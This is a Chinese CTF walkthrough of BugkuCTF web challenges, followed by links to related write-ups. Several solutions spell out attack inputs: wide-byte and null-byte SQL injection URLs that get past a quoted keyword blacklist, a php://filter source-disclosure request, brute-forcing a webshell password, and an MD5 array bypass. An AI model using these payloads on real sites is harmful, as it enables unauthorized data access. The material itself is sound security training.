BugkuCTF WEB
web2

打开链接,一大堆表情

查看源代码

得到 flag
文件上传测试

打开链接

选择 1 个 jpg 文件进行上传,用 burp 抓包改包

将 php 改为 jpg,发包

得到 flag
计算器

在方框中输入 28,但是只能输入 1 个数字
F12 查看一下元素

这里的最长长度为 1,将它修改为 2,输入 28,点击验证

得到 flag
web基础$_GET

给参数 what 传值 flag
访问 http://120.24.86.145:8002/get/?what=flag

得到 flag
web基础$_POST

打开链接

POST 方式传一个 值为 flag 的参数 what,就能得到 flag

矛盾

is_numeric() 判断参数 num 是否是一个数字,如果不是数字,则输出 $num 的值,如果 $num 的值等于 1,输出 flag
可以用科学计数法来表示 1
构造 http://120.24.86.145:8002/get/index1.php?num=1*e*0.1

得到 flag
web3

打开链接

一片空白,右键查看源代码

解码一下

得到 flag
sql 注入

打开链接

查询key表,id=1的string字段
加个单引号,没有什么变化,右键查看源代码

用宽字节注入

经查询,有 2 个字段数
查数据库,http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()%23

然后直接查询key表的string字段,http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20

得到 flag
域名解析

修改 /etc/hosts 文件
┌─[root@sch01ar]─[~]
└──╼ #vim /etc/hosts
添加一条 120.24.86.145 flag.bugku.com

添加完后,打开 flag.bugku.com

得到 flag
SQL注入1

打开链接
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
} //xss过滤
$id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
用 %00 绕过过滤,http://103.238.227.13:10087/?id=-1%20un%00ion%20se%00lect%201,database()

然后直接查 key 表下的 id=1 的hash 字段,http://103.238.227.13:10087/?id=-1%20un%00ion%20se%00lect%201,hash%20fr%00om%20sql3.key

得到 flag
也可以利用代码中 xss 过滤来绕过
构造:http://103.238.227.13:10087/?id=-1 u<a>nion sel<a>ect 1,hash fr<a>om .key
你必须让他停下
打开链接,链接会一直刷新

当图片为 10.jpg 的时候,会出现图片

用 burp 查看返回包
当图片为 10.jpg 的时候,会出现 flag,不一定每次都出现

得到 flag
变量1

var_dump() 打印该参数,用全局变量 GLOBALS 可以打印出全部变量的值

得到 flag
web5

右键查看源代码

右键查看元素,把这些字符复制到控制台,回车

全为大写就是 flag 了
头等舱

什么都没有,查看源码也没有,抓包看看
直接发包

在返回包中得到 flag
网站被黑

打开链接是一个黑页,题目是网站被黑,可能存在后门
猜了一个 1.php 不对,又猜了一个 shell.php
发现一个大马
猜了几个密码都没对,用 burp 爆破一下

爆出了一个 hack,输入

得到 flag
WEB4

右键查看源代码

被 url 编码的 js 代码
进行 url 解码
进行拼接得到,67d709b2b54aa2aa648cf6e87a7114f1

输入,得到 flag
flag在index里

点击

可能存在文件包含,读一下 index.php 文件看看
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
读出一串 base64 密文,解密一下

得到 flag
输入密码查看flag

用 burp 爆破

爆出来了,查看返回包

得到 flag
点击一百万次

要点击 1000000 次才能得到 flag
右键查看源代码

如果 clicks >= 1000000,就会 POST 发送 clicks

直接 POST clicks 的值为 1000000

得到 flag
备份是个好习惯

试了一下 index.php~,404
再试了 index.php.bak

下载下来
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/ include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1); echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
$_SERVER['REQUEST_URI'] 获取域名后面的值,包括“/”
$str = strstr($_SERVER['REQUEST_URI'], '?'); 为域名后的值,“?” 后的值,也就是参数,包括“?”
$str = substr($str,1); 为获取“?”后的值,不包括“?”
$str = str_replace('key','',$str); 如果有 key,把 key 替换成空,可以用 kekeyy 来绕过
parse_str() 函数会把查询字符串解析到变量中
如果 key1 和 key2 的 md5 值相等,且 key1 的值不等于 key2 的值,才会得到 flag
可以用数组来实现,因为 md5() 不能加密数组,所以会返回 null
index.php?kekeyy1[]=a&kekeyy2[]=b

得到 flag
BugkuCTF WEB的更多相关文章
- BugkuCTF web基础$_POST
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF web基础$_GET
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- bugkuctf web区 sql2
来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬) 在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archiv ...
- bugkuctf web区 多次
首先看到以下url : 发现这是一个基于布尔类型的盲注. true: false: 根据这两种类型可以进行注入.废话不多说,直接进行尝试. 构造 url = index.php?id=1' or 1= ...
- BugkuCTF 你必须让他停下
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF SQL注入1
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF 域名解析
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF sql注入
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF web3
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
随机推荐
- 习题-第7章Web自动化测试
一.选择题 1.如果火狐浏览器不在默认安装路径,编写Selenium的设置代码,横线处应该填入( ), System.setProperty(“webdriver.firefox._______ ...
- 为什么font-size推荐使用具体数值?
1.font-size的单位 font-size通常用的单位是px/em/rem,px就不说了,em/rem 主要用在移动端,原因的根据根元素大小进行适配,简而言之,em相对于父级定义基础字号,rem ...
- 十二 web爬虫讲解2—Scrapy框架爬虫—Scrapy模拟浏览器登录—获取Scrapy框架Cookies
模拟浏览器登录 start_requests()方法,可以返回一个请求给爬虫的起始网站,这个返回的请求相当于start_urls,start_requests()返回的请求会替代start_urls里 ...
- 漂亮的Html5网站
http://www.mrdoob.com/projects/chromeexperiments/ball-pool/
- 剑指offer--28.栈的压入、弹出序列
时间限制:1秒 空间限制:32768K 热度指数:300132 本题知识点: 栈 算法知识视频讲解 题目描述 输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是否可能为该栈的弹出顺序.假 ...
- pg_rewind 源端时间线发生改变 同步失败
master-standby情况下,发生如下行为: 1.master停掉后,standby做为新的master(可能存在部分事物没有同步到standby中). 2.新master运行过程中出错,进行恢 ...
- Android内存优化(二)DVM和ART的GC日志分析
相关文章 Android内存优化系列 Java虚拟机系列 前言 在Java虚拟机(三)垃圾标记算法与Java对象的生命周期这篇文章中,提到了Java虚拟机的GC日志.DVM和ART的GC日志与Java ...
- Leetcode 890. Find and Replace Pattern
把pattern映射到数字,也就是把pattern标准化. 比如abb和cdd如果都能标准化为011,那么就是同构的. class Solution: def findAndReplacePatter ...
- OSPF 配置
封装在IP层:协议号 89 hello时间是dead时间的1/4 224.0.0.5 .在点到点网络, 比如T1线路,是连接单独的一对路由器的网络, 点到点网络上的有效邻居总是可以形成邻接关系的,在这 ...
- (效果五)js获取客户端ip地址及浏览器信息
在前端开发的时候,有时候为了测试需要得到访问客户的ip地址.虽说是后端来做的,但是我们前端也可以完成. 先说下获取用户ip地址,包括像ipv4,ipv6,掩码等内容,但是大部分都要根据浏览器的支持情况 ...